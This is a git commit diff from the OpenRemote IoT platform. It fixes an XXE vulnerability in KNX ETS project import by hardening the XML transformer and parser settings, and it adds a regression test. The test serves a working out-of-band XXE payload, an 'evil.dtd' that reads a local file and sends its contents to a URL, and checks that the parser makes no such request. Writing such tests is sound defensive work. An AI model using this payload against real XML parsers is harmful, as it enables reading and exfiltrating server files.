Skip to content

armgit / core

Public Imported from GitHub
0

100% open-source IoT Platform - Integrate your devices, add intelligence, build custom apps

Merge commit from fork

Eric Bariauxc28d3c60ebc2
diff --git a/agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java b/agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java
index 845176b4d..336562589 100644
--- a/agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java
+++ b/agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java
@@ -18,9 +18,11 @@ import tuwien.auto.calimero.datapoint.Datapoint;
import tuwien.auto.calimero.datapoint.DatapointMap;
import tuwien.auto.calimero.datapoint.StateDP;
import tuwien.auto.calimero.xml.KNXMLException;
-import tuwien.auto.calimero.xml.XmlInputFactory;
import tuwien.auto.calimero.xml.XmlReader;
+import javax.xml.XMLConstants;
+import javax.xml.stream.XMLInputFactory;
+import javax.xml.stream.XMLStreamReader;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
@@ -48,6 +50,8 @@ public class KNXProtocol extends AbstractProtocol<KNXAgent, KNXAgentLink> implem
private static final Logger LOG = SyslogCategory.getLogger(PROTOCOL, KNXProtocol.class);
public static final String PROTOCOL_DISPLAY_NAME = "KNX";
+ protected static final String SUPPORT_DTD = XMLInputFactory.SUPPORT_DTD;
+ protected static final String SUPPORTING_EXTERNAL_ENTITIES = "javax.xml.stream.isSupportingExternalEntities";
protected KNXConnection connection;
final protected Map<AttributeRef, Datapoint> attributeActionMap = new HashMap<>();
@@ -222,15 +226,11 @@ public class KNXProtocol extends AbstractProtocol<KNXAgent, KNXAgentLink> implem
throw new IllegalStateException(msg);
}
- // Create a transform factory instance.
- TransformerFactory tfactory = new net.sf.saxon.TransformerFactoryImpl();
-
// Create a transformer for the stylesheet.
InputStream inputStream = KNXProtocol.class.getResourceAsStream("/org/openremote/agent/protocol/knx/ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
xsd = xsd.trim().replaceFirst("^([\\W]+)<","<"); // Get weird behaviour sometimes without this
- LOG.warning(xsd);
- Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
+ Transformer transformer = createSecureTransformerFactory().newTransformer(new StreamSource(new StringReader(xsd)));
// Set the URIResolver
transformer.setURIResolver(new ETSFileURIResolver(fileData));
@@ -238,7 +238,6 @@ public class KNXProtocol extends AbstractProtocol<KNXAgent, KNXAgentLink> implem
// Transform the source XML
String xml = IOUtils.toString(zin, StandardCharsets.UTF_8);
xml = xml.trim().replaceFirst("^([\\W]+)<","<"); // Get weird behaviour sometimes without this
- LOG.warning(xml);
StringWriter writer = new StringWriter();
StringReader reader = new StringReader(xml);
transformer.transform(new StreamSource(reader), new StreamResult(writer));
@@ -246,7 +245,8 @@ public class KNXProtocol extends AbstractProtocol<KNXAgent, KNXAgentLink> implem
// we use a map of state-based data points and read from the transformed xml
final DatapointMap<StateDP> datapoints = new DatapointMap<>();
- try (final XmlReader r = XmlInputFactory.newInstance().createXMLStreamReader(new StringReader(xml))) {
+ validateSecureXml(xml);
+ try (final XmlReader r = tuwien.auto.calimero.xml.XmlInputFactory.newInstance().createXMLStreamReader(new StringReader(xml))) {
datapoints.load(r);
} catch (final KNXMLException e) {
String msg = "Error loading parsed ETS file: " + e.getMessage();
@@ -284,6 +284,45 @@ public class KNXProtocol extends AbstractProtocol<KNXAgent, KNXAgentLink> implem
}, null);
}
+ protected TransformerFactory createSecureTransformerFactory() throws Exception {
+ TransformerFactory factory = new net.sf.saxon.TransformerFactoryImpl();
+ factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
+ factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
+ factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
+ return factory;
+ }
+
+ protected XMLInputFactory createSecureXmlInputFactory() {
+ XMLInputFactory factory = XMLInputFactory.newInstance();
+ factory.setProperty(SUPPORT_DTD, false);
+ factory.setProperty(SUPPORTING_EXTERNAL_ENTITIES, false);
+ setXmlInputFactoryPropertyIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_DTD, "");
+ setXmlInputFactoryPropertyIfSupported(factory, XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
+ return factory;
+ }
+
+ protected void setXmlInputFactoryPropertyIfSupported(XMLInputFactory factory, String property, Object value) {
+ try {
+ factory.setProperty(property, value);
+ } catch (IllegalArgumentException ignored) {
+ LOG.fine("XMLInputFactory does not support property: " + property);
+ }
+ }
+
+ protected void validateSecureXml(String xml) throws Exception {
+ XMLStreamReader reader = null;
+ try {
+ reader = createSecureXmlInputFactory().createXMLStreamReader(new StringReader(xml));
+ while (reader.hasNext()) {
+ reader.next();
+ }
+ } finally {
+ if (reader != null) {
+ reader.close();
+ }
+ }
+ }
+
protected void createAsset(StateDP datapoint, boolean isStatusGA, Map<String, Asset<?>> createdAssets) {
String name = datapoint.getName().substring(0, datapoint.getName().length()-3);
String assetName = name.replaceAll(" -.*-", "");
diff --git a/test/src/test/groovy/org/openremote/test/protocol/KNXImportXXETest.groovy b/test/src/test/groovy/org/openremote/test/protocol/KNXImportXXETest.groovy
new file mode 100644
index 000000000..b77b6f815
--- /dev/null
+++ b/test/src/test/groovy/org/openremote/test/protocol/KNXImportXXETest.groovy
@@ -0,0 +1,138 @@
+/*
+ * Copyright 2026, OpenRemote Inc.
+ *
+ * See the CONTRIBUTORS.txt file in the distribution for a
+ * full listing of individual contributors.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU Affero General Public License as
+ * published by the Free Software Foundation, either version 3 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU Affero General Public License for more details.
+ *
+ * You should have received a copy of the GNU Affero General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.openremote.test.protocol
+
+import com.sun.net.httpserver.HttpServer
+import org.openremote.agent.protocol.knx.KNXAgent
+import org.openremote.agent.protocol.knx.KNXProtocol
+import org.openremote.model.asset.AssetTreeNode
+import org.openremote.model.util.ValueUtil
+import spock.lang.Specification
+
+import java.nio.charset.StandardCharsets
+import java.util.concurrent.ExecutorService
+import java.util.concurrent.Executors
+import java.util.concurrent.TimeUnit
+import java.util.function.Consumer
+import java.util.zip.ZipEntry
+import java.util.zip.ZipOutputStream
+
+class KNXImportXXETest extends Specification {
+
+ def "KNX asset import still processes valid ETS project files"() {
+ given: "a KNX protocol instance with only the import executor initialised"
+ ValueUtil.initialise(null)
+ def executor = Executors.newSingleThreadExecutor()
+ def protocol = new TestKNXProtocol(new KNXAgent("KNX").setId("knx-agent"), executor)
+ def projectFile = getClass().getResourceAsStream("/org/openremote/test/protocol/knx/knx-import-testproject.knxproj").bytes
+ def assets = Collections.synchronizedList([])
+
+ when: "a valid ETS project file is imported"
+ protocol.startAssetImport(projectFile, { AssetTreeNode[] discovered ->
+ assets.addAll(discovered as List)
+ } as Consumer<AssetTreeNode[]>).get(10, TimeUnit.SECONDS)
+
+ then: "the expected assets are discovered"
+ assets.size() == 12
+ assets.every {
+ it.asset.name != null &&
+ !it.asset.attributes.isEmpty()
+ }
+
+ cleanup:
+ executor?.shutdownNow()
+ }
+
+ def "KNX asset import must not resolve external entities from uploaded ETS XML"() {
+ given: "a local endpoint serving an attacker controlled external DTD"
+ def leakedContent = "knx-xxe-${UUID.randomUUID()}"
+ def secretFile = File.createTempFile("knx-xxe-", ".txt")
+ secretFile.text = leakedContent
+ def requestedUris = Collections.synchronizedList([])
+ def server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0)
+ def port = server.address.port
+ server.createContext("/") { exchange ->
+ def uri = exchange.requestURI.toString()
+ requestedUris.add(uri)
+ byte[] body
+ if (uri.startsWith("/evil.dtd")) {
+ body = """<!ENTITY % file SYSTEM "${secretFile.toURI()}">
+<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://127.0.0.1:${port}/leak?x=%file;'>">
+%eval;
+%exfil;
+""".getBytes(StandardCharsets.UTF_8)
+ } else {
+ body = "ok".getBytes(StandardCharsets.UTF_8)
+ }
+ exchange.sendResponseHeaders(200, body.length)
+ exchange.responseBody.withCloseable {
+ it.write(body)
+ }
+ }
+ server.start()
+
+ and: "a KNX ETS project archive whose 0.xml references the external DTD"
+ def projectFile = etsProjectWith0Xml("""<?xml version="1.0"?>
+<!DOCTYPE b:KNX SYSTEM "http://127.0.0.1:${port}/evil.dtd">
+<b:KNX xmlns:b="http://knx.org/xml/project/13">
+ <b:Project>
+ <b:Installations>
+ <b:Installation>
+ <b:Topology/>
+ </b:Installation>
+ </b:Installations>
+ </b:Project>
+</b:KNX>
+""")
+
+ and: "a KNX protocol instance with only the import executor initialised"
+ ValueUtil.initialise(null)
+ def executor = Executors.newSingleThreadExecutor()
+ def protocol = new TestKNXProtocol(new KNXAgent("KNX").setId("knx-agent"), executor)
+
+ when: "the uploaded ETS XML is imported"
+ protocol.startAssetImport(projectFile, { AssetTreeNode[] ignored -> } as Consumer<AssetTreeNode[]>).get(10, TimeUnit.SECONDS)
+
+ then: "the parser does not make an out-of-band request containing local file contents"
+ requestedUris.isEmpty()
+
+ cleanup:
+ server?.stop(0)
+ executor?.shutdownNow()
+ secretFile?.delete()
+ }
+
+ private static byte[] etsProjectWith0Xml(String xml) {
+ def out = new ByteArrayOutputStream()
+ new ZipOutputStream(out).withCloseable { zip ->
+ zip.putNextEntry(new ZipEntry("P-0001/0.xml"))
+ zip.write(xml.getBytes(StandardCharsets.UTF_8))
+ zip.closeEntry()
+ }
+ return out.toByteArray()
+ }
+
+ private static class TestKNXProtocol extends KNXProtocol {
+ TestKNXProtocol(KNXAgent agent, ExecutorService executorService) {
+ super(agent)
+ this.executorService = executorService
+ }
+ }
+}